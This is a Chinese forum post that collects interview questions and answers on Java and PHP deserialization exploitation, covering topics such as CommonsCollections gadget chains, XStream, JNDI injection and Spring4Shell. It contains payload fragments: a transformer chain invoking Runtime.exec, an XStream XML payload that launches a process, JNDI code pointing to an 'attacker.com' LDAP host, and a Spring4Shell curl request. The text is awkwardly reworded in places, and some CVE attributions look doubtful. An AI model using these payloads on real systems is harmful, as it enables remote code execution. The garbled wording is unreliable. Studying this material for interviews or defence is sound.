2025年渗出测试面试题总结- 某安全公司-安全研究员(题目+回答) ...

打印 上一主题 下一主题

主题 1813|帖子 1813|积分 5439

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,接待关注。

目录
 某安全公司-安全研究员
Burp插件编写原理
CC1链原理分析(以LazyMap链为例)
Fastjson与Jackson反序列化原理对比
BCEL类加载器的更换方案
XStream反序列化漏洞原理
JEP 290原理与绕过
RMI原理与漏洞
JdbcRowSetImpl触发JNDI注入
CC链四个Transformer区别
反序列化其他触发点
Spring相关RCE原理(以Spring4Shell为例)
IIOP与T3协议反序列化漏洞
PHP反序列化漏洞

 
    某安全公司-安全研究员

  1. 一面
  2. burp插件编写原理
  3. CC1-7找一条链子讲一下原理
  4. Fastjson和Jackson反序列化原理讲讲
  5. BCEL可以用其他类加载器吗
  6. Xtream反序列化讲讲
  7. 了解JEP290的原理吗
  8. RMI原理以及相关漏洞
  9. JdbcRowSetlmpl如何触发JNDI注入
  10. CC链四个Transformer区别
  11. 反序列化除了readObject还有什么触发点
  12. 讲下Spring相关的RCE原理
  13. 讲讲IIOP和T3反序列化原理
  14. PHP等语言的反序列化讲讲
复制代码
Burp插件编写原理

  

  • 核心机制

    • Burp基于Java的插件体系,通过实现IBurpExtender接口扩展功能。
    • 核心API

      • IExtensionHelpers:处置惩罚HTTP请求/响应(如解码、修改头)。
      • IHttpListener:监听并拦截流量。
      • IScannerCheck:自定义漏洞扫描逻辑。


  • 开发流程

    • 编写类实现IBurpExtender,注册到Burp的registerExtenderCallbacks。
    • 示例:java public class DemoPlugin implements IBurpExtender { public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { callbacks.setExtensionName("Demo Plugin"); callbacks.registerHttpListener(new CustomHttpListener()); } }

  • 实战应用

    • 主动扫描插件:检测特定参数(如password明文传输)。
    • 被动插件:自动更换Token或添加自定义Header。

  
  CC1链原理分析(以LazyMap链为例)

  

  • Gadget链组成

    • 触发点:AnnotationInvocationHandler.readObject() → Map.entrySet() 。
    • 核心类

      • LazyMap.get() :触发ChainedTransformer.transform() 。
      • InvokerTransformer:反射调用Runtime.exec() 。


  • 构造过程

    • 通过动态署理(Proxy.newProxyInstance() )将AnnotationInvocationHandler与LazyMap绑定。
    • 序列化署理对象后,反序列化触发get()方法执行命令。

  • 代码片断 java Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers);
  
  Fastjson与Jackson反序列化原理对比

  特性FastjsonJackson触发机制通过@type指定类,自动调用setter/getter。需开启enableDefaultTyping多态范例处置惩罚。漏洞根源AutoType功能未严格校验,加载任意类。反序列化时利用getter或构造函数注入。防御措施关闭AutoType或利用白名单。禁用多态范例处置惩罚,利用@JsonTypeId注解。经典漏洞CVE-2017-18349(RCE via TemplatesImpl)。CVE-2019-12384(JDBC连接池注入)。  
  BCEL类加载器的更换方案

  

  • BCEL特性

    • com.sun.org.apache.bcel.internal.util.ClassLoader 可从字节码字符串加载类。
    • 示例:ClassLoader.loadClass("$$BCEL$$$l...").newInstance() 。

  • 更换方案

    • URLClassLoader:加载远程JAR或Class文件。
    • DefineClass(反射):通过Unsafe.defineClass 直接加载字节码。
    • Javassist:动态天生类并加载。

  
  XStream反序列化漏洞原理

  

  • 核心问题

    • XStream未限定反序列化时的类范例,攻击者可构造恶意XML触发任意代码。

  • 利用链示例

    • CVE-2021-21344:通过ImageIO$ContainsFilter类执行命令。
    • XML构造:xml <sorted-set> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command><string>calc.exe</string></command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>

  • 修复方案

    • 利用XStream.addPermission() 设置反序列化白名单。

  
  JEP 290原理与绕过

  

  • JEP 290机制

    • 过滤器接口:通过ObjectInputFilter检查反序列化的类是否允许。
    • 默认实现:限定数组深度、类名黑名单(如AnnotationInvocationHandler)。

  • 绕过方法

    • 数组范例肴杂:利用HashSet或HashMap嵌套绕过深度检查。
    • 非标准类加载器:如BCEL加载绕过类名检查。
    • 二次反序列化:初次加载正当类,触发二次漏洞。

  
  RMI原理与漏洞

  

  • RMI架构

    • Registry:注册中心管理远程对象引用。
    • Client/Server:客户端通过存根(Stub)调用远程方法。

  • 漏洞场景

    • 反序列化攻击:攻击注册中心(发送恶意对象)或客户端(恶意返回值)。
    • CVE-2017-3248:Java RMI Registry反序列化RCE。

  • 防御措施

    • 升级JDK,启用JEP 290过滤器。

  
  JdbcRowSetImpl触发JNDI注入

  

  • 利用链

    • JdbcRowSetImpl.setDataSourceName() → setAutoCommit() → connect() → lookup()。

  • 构造Payload java JdbcRowSetImpl jdbc = new JdbcRowSetImpl(); jdbc.setDataSourceName("ldap://attacker.com/Exploit"); jdbc.setAutoCommit(true); // 触发connect()
  • 依靠条件

    • 目标应用需存在JNDI注入漏洞(JDK版本≤8u191)。

  
  CC链四个Transformer区别

  Transformer作用ConstantTransformer返回固定值,作为链的起点。InvokerTransformer反射调用方法(如Runtime.exec() )。ChainedTransformer按次序执行多个Transformer。InstantiateTransformer实例化类(如调用构造函数)。  
  反序列化其他触发点

  

  • readResolve()

    • 反序列化完成后自动调用,可触发恶意逻辑。

  • readExternal()

    • 实现Externalizable接口的类会调用此方法。

  • finalize()

    • 垃圾接纳时触发(需构造对象丢弃)。

  • toString()/hashCode()

    • 在集合利用(如HashMap.put() )中自动调用。

  
  Spring相关RCE原理(以Spring4Shell为例)

  

  • 漏洞背景

    • CVE-2022-22965:通过数据绑定修改Tomcat日记路径,写入WebShell。

  • 利用条件

    • JDK≥9 + Tomcat + Spring MVC参数绑定。

  • Payload示例 bash curl -X POST "http://target.com/user?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"
  • 修复方案

    • 升级Spring Framework至5.3.18+或5.2.20+。

  
  IIOP与T3协议反序列化漏洞

  

  • IIOP(CORBA)

    • CVE-2015-4852:WebLogic IIOP协议反序列化漏洞,利用InvokerTransformer执行命令。

  • T3(WebLogic专有协议)

    • CVE-2018-2628:T3协议传输恶意序列化对象触发RCE。

  • 防御

    • 禁用IIOP/T3协议,或升级WebLogic补丁。

  
  PHP反序列化漏洞

  

  • 触发点

    • 魔术方法:__wakeup()、__destruct()中的伤害利用。

  • POP链构造

    • 利用内置类(如SoapClient)触发SSRF或文件利用。

  • 案例

    • Laravel RCE(CVE-2021-3129):通过Phar反序列化执行命令。

  • 防御

    • 避免反序列化用户输入,利用json_encode更换。

  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

徐锦洪

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表